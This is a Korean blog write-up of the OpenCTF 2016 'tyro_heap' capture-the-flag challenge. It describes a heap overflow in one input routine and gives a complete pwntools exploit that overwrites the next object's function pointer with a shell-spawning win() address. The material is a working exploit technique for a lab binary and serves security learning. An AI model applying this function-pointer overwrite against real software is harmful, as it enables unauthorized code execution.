[OpenCTF 2016] tyro_heap
NX가 걸려있는 32bit 바이너리입니다.
이 부분이 main 함수의 중요 기능 부분입니다.
create heap object : 힙 오브젝트 생성
malloc으로 36byte 할당해줍니다.
객체는 총 32개를 생성할 수 있습니다.
그리고 맨 앞부분에 puts 함수의 주소를 저장해줍니다.
read는 a와 b가 있습니다.
둘 다 함수 주소가 저장되어 있는 부분은 건너뛰고 입력을 받습니다.
a는 %35s로 35byte만큼 입력을 받습니다.
b는 while에 getchar로 그냥 쭉 입력을 받습니다.
b 입력을 받을 때, heap overflow가 일어나게 됩니다.
free object는 말 그대로 선택한 object를 free 하는 기능을 합니다.
그리고 객체는 함수 주소(4byte)와 입력 받을 수 있는 data(32byte) 부분이 있는데, run object function 기능에서 선택한 객체의 함수를 실행해줍니다.
입력을 받을 때 함수 주소를 건너뛰고 받기 때문에, 힙 오브젝트를 두 개 생성하고 첫 번째 object에서 입력을 받을 때 두 번째 object의 함수 주소를 변조하고 run 하면 될 것 같습니다.
그렇다면 함수 주소는 어디로 변조하느냐?
이 문제에서는 win이라는 쉘을 실행해주는 함수를 제공하기 때문에, win 함수의 주소로 변조하면 됩니다.
ltrace로 보면 첫 번째 object의 data 부분과 두 번째 object의 함수 부분의 차이를 구할 수 있습니다.
0x8d79030 – (0x8d79008 + 4) = 36
그럼 dummy 값으로 36byte를 채워주고 함수 주소를 변조하면 될 것 같습니다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 |
from pwn import *
s = remote('localhost', 9700)
win = 0x8048660
payload = "A"*36 + p32(win)
#Two allocate s.sendlineafter("::> ", 'c') s.sendlineafter("::> ", 'c')
#Overflow index0 s.sendlineafter("::> ", 'b') s.sendlineafter("id ?: ", '0') s.sendlineafter("input_b: ", payload)
#Run object func index1(corrupted) s.sendlineafter("::> ", 'e') s.sendlineafter("id ?: ", '1')
s.interactive() |
시나리오 그대로 코드를 작성했습니다.
exploit에 성공했습니다.
함수 포인터를 가지고 있는 heap object간의 overflow를 이용해서 exploit하는 문제였습니다.
'System&Write up > CTF' 카테고리의 다른 글
[securinets CTF 2018] Boobs (0) | 2018.03.27 |
---|---|
[TAMUctf 2018] pwn1 ~ pwn5 (0) | 2018.02.27 |
[Codegate 2018] BaskinRobins31 (4) | 2018.02.09 |
[Codegate 2014] nuclear (0) | 2018.01.31 |
[HDCON 2013] luckyzzang (0) | 2018.01.30 |